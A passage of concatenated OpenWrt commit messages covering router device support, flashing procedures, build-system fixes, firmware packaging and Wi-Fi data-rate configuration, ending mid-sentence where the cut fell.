Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This updates uboot-envtools with the updated names from ramips
target.
Fixes: 6d4382711a ("ramips: use full names for Xiaomi Mi Router devices")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This aligns the device/image names of the older Xiaomi Mi Router
devices with their "friendly" model and DEVICE_MODEL properties.
This also reintroduces consistency with the newer devices already
following that scheme.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Xiaomi Mi Router 4A (100M) and 4C are relatively similar in
their specs. Create a shared DTSI for them.
Partitions are split in preparation for Mi Router 4AC.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It was observed that the MD5 would not change after source files had been
modified, looking deeper into the build process it was discovered that
find_md5 build function makes a list of the files being built and then
passes the list to a summing utility on stdin. The resultant MD5 is of
the file list, not the contents of the files.
The MD5 would change if the ordering of the list changed, or items were
removed or deleted.
The proposed fix is to add the modification time after the filename and
then sort the list to prevent find returning files in a different order
falsely re-triggering a rebuild. The MD5 will now change when a file is
modified or files are added/removed from the list.
Using 'T@' to show time in epoch for timezone independent behaviour.
Signed-off-by: John Beckett <john.beckett@net2edge.com>
This is a neat project, but offers no benefit to OpenWrt. The initial
reason for it was to be a replacement for libstdcpp as it is smaller
and lacks compatibility for C++98. Unfortunately, compiling several
packages with it results in larger ipk sizes.
While not a member of the packages feed, this will be moved to
packages-abandoned to keep it somewhere.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Some packages fail to build on arm64 when PKG_ASLR_PIE_ALL=y, due to
machine-specific size restrictions on the global offset table.
While the manual instructs to recompile with -fPIC if it fails with
-fpic, by doing this per package, there is still a risk of random
breakage due to version bumps or other changes, so let's use -fPIC on
arm64 by default.
While comparing the sizes of 141 packages built with -fpic vs -fPIC,
most packages are either equal or smaller in size. Only 9 of the
compared packages turned out slightly larger.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
mt7621, mt7628an and rt5350 have USB controllers (ehci/ohci or xhci)
enabled by default. Thus, this patch drops redundant status=okay
statements in derived device DTS files.
While at it, also drop an explicit status=okay in mt7621.dtsi, as
this is default.
Note:
For rt5350, about 50 % of the devices enabled ehci/ohci in the DTS
files, and there is actually no device actively disabling it.
It looks like only a few people are aware that the controllers are
enabled by default here.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
At the moment, ehci/ohci is enabled in mt7628an SoC DTSI, then
disabled in the TP-Link-specific DTSI files, and finally enabled
again in the DTS files of the devices needing it.
This on-off-on scheme is hard to grasp on a quick look. Thus, this
patch drops the status in the TP-Link-specific DTSI files, having
the TP-Link devices treated like the rest of mt7628an DTSes, i.e.
ehci/ohci is enabled by default and needs to be disabled explicitly
where needed.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This device is the non-US build of the F9K1115 v2, with a different
firmware magic.
Specifications:
SoC: QCA9558
CPU: 720 MHz
Flash: 16 MiB NOR
RAM: 128 MiB
WiFi 2.4 GHz: QCA9558-AT4A 3x3 MIMO 802.11b/g/n
WiFi 5 GHz: QCA9880-2R4E 3x3 MIMO 802.11a/n/ac
Ethernet: 4x LAN and 1x WAN (all 1gbps)
USB: 1 x USB 2.0 (lower), 1 x USB 3.0 (upper)
MAC addresses based on OEM firmware:
Interface Address Location
--------- ------- --------
lan *:5A sometimes in 0x6
wan *:5B 0x0
2.4Ghz *:5A 0x1002
5Ghz As per mini PCIe EEPROM
Flashing instructions:
The factory.bin can be flashed via the Belkin web UI or via the uboot
http upgrade page.
Once the factory.bin has been written, sysupgrade.bin will work as usual.
Signed-off-by: Damien Mascord <tusker@tusker.org>
Acked-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
[wrap commit message/code, adjust label-mac-device, whitespace fixes,
merge block in 02_network]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Because some padding values in the TP-Link safeloader image generation
were hardcoded, different values were sometimes used throughout a
factory image. TP-Link's upgrade images use the same value everywhere,
so let's do the same here.
Although a lot of TP-Link's safeloader images have padded partition
payloads, images for the EAP-series of AC devices don't. This padding is
therefore also made optional.
By replacing the type of the padding value byte with a wider datatype,
new values outside of the previously valid range become available. Use
these new values to denote that padding should not be performed.
Because char might be signed, also replace the char literals by a
numeric literal. Otherwise '\xff' might be sign extended to 0xffff.
This results in factory images differing by 1 byte for:
* C2600
* ARCHER-C5-V2
* ARCHERC9
* TLWA850REV2
* TLWA855REV1
* TL-WPA8630P-V2-EU
* TL-WPA8630P-V2-INT
* TL-WPA8630P-V2.1-EU
* TLWR1043NDV4
* TL-WR902AC-V1
* TLWR942NV1
* RE200-V2
* RE200-V3
* RE220-V2
* RE305-V1
* RE350-V1
* RE350K-V1
* RE355
* RE450
* RE450-V2
* RE450-V3
* RE500-V1
* RE650-V1
The following factory images no longer have padding, shrinking the
factory images by a few bytes for:
* EAP225-OUTDOOR-V1
* EAP225-V3
* EAP225-WALL-V2
* EAP245-V1
* EAP245-V3
Signed-off-by: Sander Vanheule <sander@svanheule.net>
TP-Link safeloader firmware images contain a number of (small)
partitions with information about the device. These consist of:
* The data length as a 32-bit integer
* A 32-bit zero padding
* The partition data, with its length set in the first field
The OpenWrt factory image partitions that follow this structure are
soft-version, support-list, and extra-para. Refactor the code to put all
common logic into one allocation call, and let the rest of the data be
filled in by the original functions.
Due to the extra-para changes, this patch results in factory images that
change by 2 bytes (not counting the checksum) for three devices:
* ARCHER-A7-V5
* ARCHER-C7-V4
* ARCHER-C7-V5
These were the devices where the extra-para blob didn't match the common
format. The hardcoded data also didn't correspond to TP-Link's (recent)
upgrade images, which actually matches the meta-partition format.
A padding byte is also added to the extra-para partition for EAP245-V3.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
The build option `--withouth-lzo` is added in the Makefile which makes
the existence of lzo obsolete. To remove the lzo package from
openwrt.git entirely, remove the legacy dependency.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[improved commit message]
Signed-off-by: Paul Spooren <mail@aparcar.org>
Zstd is supported by the crypto API since Linux 4.18. Enable this feature and
reveal the package in the configuration section, so the user can select it.
This allows zstd to be used as a compression algorithm in zram, for example.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
Set legacy_rates to 0 by default to disable 802.11b data rates by default.
The time has long come where 802.11b DSSS/CCK data rates should be disabled
by default in OpenWRT. Users in need of 802.11b client support can reasonably
enable these where they are needed.
The balance of equities has significantly, and for a long time, tipped
such that dropping backwards compatibility by default with 802.11b
devices is appropriate, proportionate and justified. By doing so,
management and control traffic is moved by default to a 20
MHz wide 6 Mb/s OFDM data rate instead of a 22 MHz wide 1 Mb/s DSSS data
rate. This is significantly more airtime efficient.
Signed-off-by: Nick Lowe <nick.lowe@gmail.com>
There's no eth0.2 since all ethernet ports as configured as LAN.
LAN LED is unneeded since all ethernet ports have their own LED.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Technicolor TG582n Telecom Italia branded a.k.a.
Telecom Italia ADSL2+ Wi-Fi N (AGTWI)
has the same PCB as the unbranded Technicolor TG582n with LEDs
connected to different GPIO PINs in active low configuration and
different LED names. It has a PCB similar to the OpenWrt's ADB P.DG A4001N1 one.
Hardware:
* Board ID: DANT-V
* SoC: Broadcom BCM6328 (rev b0) @ 320MHz, CPU BMIPS4350
* RAM DDR2: 64 Mbyte - EtronTech EM68B16CWQD-25H
* Serial flash: 16 Mbyte - Spansion FL 128SAIF00
* Ethernet: 4x Ethernet 10/100 baseT
* Wifi 2.4GHz: Broadcom Corporation BCM43227 Wireless Network Adapter (rev 30)
* LEDs: 2x Power, 1x ADSL, 2x Internet, 2x Wi-Fi, 2x Service, 4x ethernet
* Buttons: 1x Reset, 1x WPS (named WiFi/LED)
* UART: 1x TTL 115200n8, VCC GND TX RX, on J3 connector (short R62 and R63)
Installation via CFE:
* Stock CFE has to be overwritten with a generic 6328 one that can upload
.bin images with no signature check (cfe6328_configured.bin)
* Connect a serial port to the board
* Stop the CFE boot process after power on by pressing enter
* Set static IP 192.168.2.10 and subnet mask 255.255.255.0
* Navigate to http://192.168.2.50/
* Upload the OpenWrt image file
PCB: |GPIO: |TG582n: |AGTWI:
LED2R |488(08) |red Power |red Power
LED2G |484(04) |green Power |green Power
LED10R |486(06) | |missing R85 end LED
LED13G |485(05) |green Ethernet |green ADSL
LED11R |494(14) | |red Internet
LED14G |491(11) |green Broadband |green Internet
LED5R |487(07) |red Internet |red Wi-Fi
LED5G |481(01) |green Internet |green Wi-Fi
LED12R |498(18) | |red Service
LED12G |499(19) | |green Service
LED6R |482(02) |red Wi-Fi |missing R108 end LED
LED6G |483(03) |green Wi-Fi |missing R107 end LED
LED7R |490(10) |red WPS |missing R91 end LED
LED7G |489(09) |green WPS |missing R92 end LED
LED4 |508(28) |ethernet port 4 |ethernet port 4
LED3 |507(27) |ethernet port 3 |ethernet port 3
LED9 |506(26) |ethernet port 2 |ethernet port 2
LED8 |505(25) |ethernet port 1 |ethernet port 1
SW3 |503(23) |key Reset |key Reset
SW5 |504(24) |key WPS |key Wi-Fi/LED
SW4 |495(15) |key Wi-Fi |missing R127 end key
SW6 |493(13) | |missing R171 end key
SW1 |492(12) | |missing R1 end key
Signed-off-by: Daniele Castro <danielecastro@hotmail.it>
[DT fixes, base-files fixes and device variant]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This sets the --cross-compile-prefix option when running Configure, so
that that it will not use the host gcc to figure out, among other
things, compiler defines. It avoids errors, if the host 'gcc' is
handled by clang:
mips-openwrt-linux-musl-gcc: error: unrecognized command-line option
'-Qunused-arguments'
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Tested-by: Rosen Penev <rosenp@gmail.com>
ADB P.DG A4101N A-000-1A1-AE has a similar PCB as the OpenWrt's ADB P.DG A4001N1
with LEDs connected to different GPIO PINs in active low configuration.
Hardware:
* Board ID: 96328avngv
* SoC: Broadcom BCM6328 (rev b0) @ 320MHz, CPU BMIPS4350
* RAM DDR2: 64 Mbyte - Winbond W9751G6KB-25
* Serial flash: 16 Mbyte - Winbond 25Q128BVFG
* Ethernet: 4x Ethernet 10/100 baseT
* Wifi 2.4GHz: Broadcom Corporation BCM43225 Wireless Network Adapter (rev 23)
* LEDs: 1x Power, 1x DSL, 1x Internet, 4x ETH, 1x USB, 1x WLAN, 1x WPS, 1x TEL
* Buttons: 1x Reset, 1x WPS, 1x unnamed
* UART: 1x TTL 115200n8, VCC RX TX GND, on J502 connector
Installation via CFE:
* Stock CFE has to be overwritten with a generic 6328 one that can upload
.bin images with no signature check (cfe6328_configured.bin)
* Connect a serial port to the board
* Stop the cfe boot process after power on by pressing enter
* Set static IP 192.168.2.10 and subnet mask 255.255.255.0
* Navigate to http://192.168.2.50/
* Upload the OpenWrt image file
A4101N GPIO LAYOUT:
Power always on
DSL GPIO483(03)
Internet GPIO491(11)
ETH1 GPIO505(25)
ETH2 GPIO506(26)
ETH3 GPIO507(27)
ETH4 GPIO508(28)
USB GPIO490(10)
WLAN controlled by BCM43225
WPS GPIO489(09)
TEL GPIO511(31)
Key RESET GPIO503(23)
Key WPS GPIO504(24)
Key unnamed GPIO492(12)
Signed-off-by: Daniele Castro <danielecastro@hotmail.it>
[Amend commit description, DTS improvements, refresh patches]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
faed29a dhcpv6: only refresh timers when reconfigure is valid
9c50975 dhcpv6: fix printing identity association id
a7b2221 dhcpv6: avoid sending continuous renew/rebind messages
d7afa2b dhcpv6: add extra syslog info traces
f5728e4 odhcp6c_find_entry: exclude priority from the list of fields that must match
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
On non-GNU systems, zcat often does not handle gzip decompression.
Use gzip -dc like the regular unpack command
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This adds support for the D-Link DSL-2750u rev C1.
(https://deviwiki.com/wiki/D-Link_DSL-2750U_rev_C1)
It uses the same hardware as ADB P.DG A4001N.
CPU: Broadcom BCM63281 (320 MHz)
RAM: 32M (Winbond W9725G6JB)
Flash: 8M (MXIC MX25L6445E)
Ethernet: 4x 100 Mbps
Wireless: 802.11b/g/n: BCM43225
USB: 1x 2.0
Flash instructions:
1. Assign static IP 192.168.1.100 to PC
2. Unplug the power source
3. Press the RESET button at the router, don't release it yet!
4. Plug the power source.Wait some seconds
5. Release the RESET button
6. Browse to http://192.168.1.1
7. Send the openwrt-bcm63xx-generic-DSL2750U-C1-squashfs-cfe.bin and
wait some minutes until the firmware upgrade finish.
Signed-off-by: Ahmed Naseef <naseefkm@gmail.com>
[DTS improvements, proper board patch, refresh patches]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
ADB P.DG A4001N A-000-1A1-AX a.k.a. Telecom Italia ADSL2+ Wi-Fi N (AGPWI)
is a Telecom Italia braded router and it seems that there are no public
available unbranded versions of this router.
The stock Telecom Italia braded firmware has many partitions and the
partition layout changes with every firmware relase.
The PSI nvram partition is present in the stock firmware under the
"UNKNOWN" name but it's empty, full of FFs. Since removing partitions
does not cause problems with the stock firmware reflashing procedure,
I removed from the dts the PSI nvram partition from OpenWrt, expanded
the rootfs one and added the NVRAM partition contained in the
cfe bootloader.
Furthermore this router's flash needs to be entirely reprogrammed
and a new generic bcm6328 cfe must be flashed to boot OpenWrt. The
same process takes place when reflashing the stock firmware.
Here follows the original flash layout for AGPWI_1.1.0_013, the last
stock Telecom Italia braded firmware for which we have root
credentials (admin/riattizzati).
Flash layout:
Section 00 Type BOOT Range 0x00000000-0x00020000 MaxSize 0x00020000
No more information.
Section 01 Type IMAGE Range 0x00020000-0x007C0000 MaxSize 0x0079FF6C
Uninitialized.
Section 02 Type IMAGE Range 0x00800000-0x00FA0000 MaxSize 0x0079FF6C
Uninitialized.
Section 03 Type CONF Range 0x00FA0000-0x00FC0000 MaxSize 0x0001FF6C
Size 0x0000841E Name 'rg_conf'
Checksum 0x0041E03B Counter 0x0000051F Start Offset 0x00000000
Section 04 Type CONF Range 0x00FC0000-0x00FE0000 MaxSize 0x0001FF6C
Size 0x0000838E Name 'rg_conf'
Checksum 0x00419A5A Counter 0x00000522 Start Offset 0x00000000
Section 05 Type FACTORY Range 0x00FE0000-0x00FF0000 MaxSize 0x0000FF6C
Size 0x00000554 Name 'rg_factory'
Checksum 0x0001255E Counter 0x000004D3 Start Offset 0x00000000
Section 06 Type UNKNOWN Range 0x00FF0000-0x01000000 MaxSize 0x00010000
No more information.
Total 7 sections found.
The last AGPWI firmware relase should be AGPWI_4.0.6 and it has much more
partitions than AGPWI_1.1.0_013.
The cfe partition in the stock firmware is 0x00020000 bytes long unlike the
OpenWrt dts in wich it's 0x00010000 bytes long because from 0x00010000 to
0x00020000 in the stock cfe there are only 00s and also because the cfe must
anyway be reflashed with a generic bcm6328 cfe 0x00010000 bytes long to
run OpenWrt.
Signed-off-by: Daniele Castro <danielecastro@hotmail.it>
[Amend commit, remove unneeded cfe_nvram partition]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This ports support for the TP-Link TL-WDR7500 v3 from ar71xx to ath79.
The basic features appear to be identical to the Archer C7 v1, however
it has the (supported) QCA9880-BR4A chip of the C7 v2.
Specifications:
SoC: QCA9558
CPU: 720 MHz
Flash: 8 MiB
RAM: 128 MiB
WLAN: 2.4 GHz b/g/n, 5 GHz a/n/ac
Qualcomm Atheros QCA9880-BR4A
Ethernet: 5x Gbit ports
USB: 2x 2.0 ports
Flashing instructions:
Upload the factory image via the OEM firmware GUI.
TFTP recovery appears to be available as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All modifications made by update_kernel.sh/no human intervention needed
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
[another refresh]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The first gpio controller (gpio or gpio0) is always enabled by
default in the SoC DTSI files. No need to set status=okay in the
device DTS files a second time.
Remove the redundant statements.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Some x86_64 single board computer (including Atomic Pi)
has onboard emmc, but requires CONFIG_MMC_SDHCI_ACPI driver
to use or boot from it.
Here is boot message for the mmc device
[ 2.838008] mmc0: SDHCI controller on ACPI [80860F14:00] using ADMA
[ 2.857536] mmc1: SDHCI controller on ACPI [80860F14:01] using ADMA
[ 2.950019] mmc0: new HS200 MMC card at address 0001
[ 3.158271] mmcblk0: mmc0:0001 M52516 14.6 GiB
[ 3.170290] mmcblk0boot0: mmc0:0001 M52516 partition 1 4.00 MiB
[ 3.177191] mmcblk0boot1: mmc0:0001 M52516 partition 2 4.00 MiB
[ 3.183963] mmcblk0rpmb: mmc0:0001 M52516 partition 3 4.00 MiB, \
chardev (248:0)
Other lines changed in this config file are introduced by menuconfig.
Signed-off-by: Mengyang Li <mayli.he@gmail.com>
The include/trusted-firmware-a.mk file is based on the
include/u-boot.mk file and should be used to build a Trusted Firmware-A
(TFA) which was previously named Arm trusted firmware.
This is useful for targets where the TFA is board specific like for
Marvell SoCs and probably also NXP Layerscape SoCs.
This also makes use of this abstraction in the
arm-trusted-firmware-mvebu package to build board specific ATF binaries.
The ATF binaries will be automatically activated and build when the
board is selected in the normal build or all boards are selected. This
should also activate the build when build bot creates images.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Remove the MDIO reset from the MAC mode for the AR934x SoC family.
The reset is currently also defined for the MDIO node, where the reset
is acquired exclusively.
In case the ethernet node is enabled, this triggers a warning, as the
reset is already acquired by the MAC.
Signed-off-by: David Bauer <mail@david-bauer.net>
The TPLink CPE devices CPE210/CPE510 based on ar9344 have a build-in
Low Noise Amplifier on both of the 2x2 mimo rx chains.
This patch activates those two LNAs in the respective receiving chains
and hence improves the RX sensitivity by about 20dB.
Tested on CPE510 v2 & v3.
Signed-off-by: Thomas Huehn <thomas.huehn@hs-nordhausen.de>
Acked-by: Robert Marko <robimarko@gmail.com>
d6bd1047d004 vlandev: dump vlan id in device status
e0c838bd06a6 vlandev: support bridge-vlan aliases in the vid config parameter
574dc4a17105 system-dummy: print configured mac address
14f0e8ff928f system-linux: simplify mask check in system_if_apply_settings
524310276f20 system-linux: move device settings handling to device.c
42c48866f1c1 config: parse default mac address from board.json
Signed-off-by: Felix Fietkau <nbd@nbd.name>
In this new setup the switch is treated as wan, lan1.100 is used as
our mgmt vlan.
The board mac is applied to eth0, switch and switch.1
The board mac is assigned with the LA bit set to all lan ports while
incrementing it.
Signed-off-by: John Crispin <john@phrozen.org>
Add code for setting mac addresses inside board.json and rendering
them out to uci. On switches we want to have a unique MAC on each port.
With 48 port switches that would require 48 device sections in
/etc/config/network. Doing so via board.json is easier.
Signed-off-by: John Crispin <john@phrozen.org>
Some Git hoster (e.g. sr.ht) disable hosting of svg images (xml) to
avoid XSS attacks. To show the logo correctly on all code hosters use a
"safe" PNG image.
Also move logo(s) to include/ folder to lower autocomplete churn with
the `logs/` folder. While at it, replace absolute logo path and make it
relative, as this may break other code hosters as well.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Because the bug described in FS#2428 has been fixed with bf2870c1d9
("kernel: fix mtd partition erase < parent_erasesize writes") these
devices can now safely do sysupgrade.
Restore sysupgrade support disabled in:
0cc87b3bac ("ath79: image: disable sysupgrade images for routerstations
and ja76pf2")
cc5256a8bf ("ath79: base-files: disable sysupgrade for routerstations
and ja76pf2")
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
[move Build block, remove check-size argument, wrap sysupgrade line,
make commit message easier to read]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This will explain what is actually occuring on dd invocations.
Additionally remove comments for steps which are described by printed
statements anyway.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
This will explain what is actually occuring on dd invocations.
Additionally remove comments for steps which are described by printed
statements anyway.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Similar to the previous commit adding a check to the init script of
umdns, do a similar change for sysntpd, just to be on the safe side.
Inspired-by: 520403cd49 ("umdns: add check for seccomp list")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This should fix an issue when user have a router with enabled seccomp
and tries to run umdns package which was build with SDK with disabled
seccomp support.
Signed-off-by: Jan Pavlinec <jan.pavlinec@nic.cz>
This fixes tethering with devices using iOS 14. Prior to this patch,
connections to remote endpoints were not possible while data transfers
between the OpenWrt device and the iOS endpoints worked fine.
Signed-off-by: David Bauer <mail@david-bauer.net>
Add a cell_density option to configure data rates for normal, high and
very high cell density wireless deployments.
The purpose of using a minimum basic/mandatory data rate that is higher
than 6 Mb/s, or 5.5 Mb/s (802.11b compatible), in high cell density
environments is to transmit broadcast/multicast data frames using less
airtime or to reduce management overheads where significant co-channel
interference (CCI) exists and cannot be avoided.
Caution: Without careful design and validation, configuration of a too
high minimum basic/mandatory data rate can sacrifice connection stability
or disrupt the ability to reliably connect and authenticate for little to
no capacity benefit. This is because this configuration affects the
ability of clients to hear and demodulate management, control and
broadcast/multicast data frames.
Deployments that have not been specifically designed and validated are
usually best suited to use 6, 12 and 24 Mb/s as basic/mandatory data
rates.
Only usually seek to configure a 12 Mb/s, or 11 Mb/s (802.11b
compatible), minimum basic/mandatory rate in high cell density
deployments that have been designed and validated for this.
For many deployments, the minimum basic/mandatory data rate should not be
configured above 12 Mb/s to 18 Mb/s, 24 Mb/s or higher. Such a
configuration is only appropriate for use in very high cell density
deployment scenarios.
A cell_density of Very High (3) should only be used where a deployment
has a valid use case and has been designed and validated specifically for
this use, nearly always with highly directional antennas - an example
would be stadium deployments. For example, with a 24 Mb/s OFDM minimum
basic/mandatory data rate, approximately a -73 dBm RSSI is required to
decode frames. Many clients will not have roamed elsewhere by the time
that they experience -73 dBm and, where they do, they frequently may not
hear and be able to demodulate beacon, control or broadcast/multicast
data frames causing connectivity issues.
There is a myth that disabling lower basic/mandatory data rates will
improve roaming and avoid sticky clients. For 802.11n, 802.11ac and
802.11ax clients this is not correct as clients will shift to and use
lower MCS rates and not to the 802.11b or 802.11g/802.11a rates that are
able to be used as basic/mandatory data rates.
There is a myth that disabling lower basic/mandatory data rates will
ensure that clients only use higher data rates and that better
performance is assured. For 802.11n, 802.11ac and 802.11ax clients this
is not correct as clients will shift around and use MCS rates and not the
802.11b or 802.11g/802.11a rates that able to be used as basic/mandatory
data rates.
Cell Density
0 - Disabled (Default)
Setting cell_density to 0 does not configure data rates. This is the
default.
1 - Normal Cell Density
Setting cell_density to 1 configures the basic/mandatory rates to 6, 12
and 24 Mb/s OFDM rates where legacy_rates is 0. Supported rates lower
than the minimum basic/mandatory rate are not offered.
Setting cell_density to 1 configures the basic/mandatory rates to the 5.5
and 11 Mb/s DSSS rates where legacy_rates is 1. Supported rates lower
than the minimum basic/mandatory rate are not offered.
2 - High Cell Density
Setting the cell_density to 2 configures the basic/mandatory rates to the
12 and 24 Mb/s OFDM rates where legacy_rates is 0. Supported rates lower
than the minimum basic/mandatory rate are not offered.
Setting the cell_density to 2 configures the basic/mandatory rates to the
11 Mb/s DSSS rate where legacy_rates is 1. Supported rates lower than the
minimum basic/mandatory rate are not offered.
3 - Very High Cell Density
Setting the cell_density to 3 configures the basic/mandatory rates to the
24 Mb/s OFDM rate where legacy_rates is 0. Supported rates lower than the
minimum basic/mandatory rate are not offered.
Setting the cell_density to 3 only has effect where legacy_rates is 0,
else this has the same effect as being configured with a cell_density of 2.
Where specified, the basic_rate and supported_rates options continue to
override both the cell_density and legacy_rates options.
Signed-off-by: Nick Lowe <nick.lowe@gmail.com>
This patch fixes build of squashfs image on lantiq. Currently the FEATURE
variable is overwritten by the subtarget.
Fixes: FS#3480
Fixes: f1c6523376 ("lantiq: clean up target/subtarget features")
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
[reformat Fixes:]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
SoC: MediaTek MT7621ST (880 MHz)
FLASH: 16 MiB (Macronix MX25L12835FM2I-10G)
RAM: 128 MiB (Nanya NT5CB64M16FP-DH)
WiFi: MediaTek MT7603EN bgn 2x2:2
WiFi: MediaTek MT7612EN an 2x2:2
BTN: Reset, WPS
LED: - Power
- WiFi 2.4 GHz
- WiFi 5 GHz
- WAN
- LAN {1-4}
- USB {1-2}
UART: UART is present as pin hole next to the aluminium capacitor.
3V3 - RX - GND - TX / 115200-8N1
3V3 is the nearest on the aluminium capacitor and nut hole (pin1).
USB: 2 ports
POWER: 12VDC, 1.5A (Barrel 5.5x2.1)
Installation:
Via TFTP:
Set your computers IP-Address to 192.168.1.75
Power up the Router with the Reset button pressed.
Release the Reset button after 5 seconds.
Upload OpenWRT sysupgrade image via TFTP:
tftp -4 -v -m binary 192.168.1.1 -c put IMAGE
MAC addresses:
0x4 *:98 2g/wan, label
0x22 *:9c
0x28 *:98
0x8004 *:9c 5g/lan
Though addresses are written to 0x22 and 0x28, it appears that the
vendor firmware actually only uses 0x4 and 0x8004. Thus, we do the
same here.
Signed-off-by: Pavel Chervontsev <cherpash@gmail.com>
[add MAC address overview, add label-mac-device, fix IMAGE_SIZE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All firmwares were added to linux-firmware, so there's no need to keep this
package definitions.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Instead of duplicating board firmware binaries, which are exactly the same
as the ones from linux-firmware, add dependencies and remove duplicated
downloads.
Runtime-tested on ath79 (TP-Link Archer C7 v2) and ipq806x (Netgear R7800).
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Split ath10k firmwares into board and firmware packages.
This way we can add dependencies to ath10k-ct firmware packages.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Commit f98878e4c1 ("cmake.mk: set C/CXX compiler for host builds as
well") has introduced regression as it didn't taken usage of ccache into
the account so fix it by handling ccache use cases as well.
In order to get this working we need to export HOSTCXX_NOCACHE in
rules.mk as well.
Fixes: f98878e4c1 ("cmake.mk: set C/CXX compiler for host builds as well")
Reported-by: Ansuel Smith <ansuelsmth@gmail.com>
Tested-by: Ansuel Smith <ansuelsmth@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
It is impossible to locate package that failed the build just from log
once more build is run in parallel (that is more than one make job). The
only way is to scout log files for failed package going back trough log.
This change makes it so error is printed for package that failed every
time.
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
Fixup dfa357a3de "mvebu: base-files: Update Turris Omnia U-Boot
environment" which should have included this file as well.
By rebasing the initial patch this file somehow disappeared.
Signed-off-by: Klaus Kudielka <klaus.kudielka@gmail.com>
Reviewed-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Tested-by: W. Michael Petullo <mike@flyn.org> (Turris Omnia "2020")
Tested-by: Klaus Kudielka <klaus.kudielka@gmail.com> (Turris Omnia)
[explain fixup in commit message]
Signed-off-by: Paul Spooren <mail@aparcar.org>
It seems like after a build the /dl dir seems to now contain a .hash
file for each source file due to inproper cleanup so fix it by removing
those intermediate files before leaving the download action.
Fixes: 4e19cbc553 ("download: handle possibly invalid local tarballs")
Reported-by: Hannu Nyman <hannu.nyman@iki.fi>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
rules.mk always passes these as -I/-L to the toolchain.
Fixes rare errors like:
cc1: error: staging_dir/target-aarch64_cortex-a53_musl/usr/include: No such file or directory [-Werror=missing-include-dirs]
Signed-off-by: Andre Heider <a.heider@gmail.com>
Acked-by: Paul Spooren <mail@aparcar.org>
Acked-by: Rosen Penev <rosenp@gmail.com>
I've just noticed on i.mx6 target, that there are missing kernel symbols
so I'm fixing it.
Fixes: 3c5d70ad26 ("kernel: add module support Solarflare network adapter")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Without this, cmake will use whatever CC/CXX is set to, which could be
clang. In that case, at least libjson-c/host will fail to compile.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Currently the check target fails if the kernel Git tree is used:
$ make toolchain/kernel-headers/{download,check}
make[2]: Entering directory 'toolchain/kernel-headers'
Makefile:105: *** ERROR: Unknown pack format for file openwrt/tmp/dl/. Stop.
make[2]: Leaving directory 'toolchain/kernel-headers'
toolchain/Makefile💯 recipe for target 'toolchain/kernel-headers/check' failed
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Currently it's assumed, that already downloaded tarballs are always
fine, so no checksum checking is performed and the tarball is used even
if it might be corrupted.
From now on, we're going to always check the downloaded tarballs before
considering them valid.
Steps to reproduce:
1. Remove cached tarball
rm dl/libubox-2020-08-06-9e52171d.tar.xz
2. Download valid tarball again
make package/libubox/download
3. Invalidate the tarball
sed -i 's/PKG_MIRROR_HASH:=../PKG_MIRROR_HASH:=ff/' package/libs/libubox/Makefile
4. Now compile with corrupt tarball source
make package/libubox/{clean,compile}
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Support installations without root-overlayfs (and hence without /rom)
when migrating user accounts.
Signed-off-by: Imran Khan <gururug@gmail.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
[simplified patch, bumped PKG_RELEASE, cleaned message]
Move the update procedure from sysupgrade to first boot, which is much
more convenient in the sysupgrade case (otherwise the environment is
always one generation behind).
Check whether we have an old U-Boot release installed, and update the
environment only if necessary.
Some notes on the U-Boot environment:
The first 9 lines are a copy of the default environment of the old U-Boot
release - only modified, to run "distro_bootcmd", in case "mmcboot" fails
to boot the factory OS.
The remaining 16 lines are a backport of the default environment of the
new U-Boot release (shipped with CZ11NIC23). The main entry point is
"distro_bootcmd", which eventually sources boot.scr. This way, we have
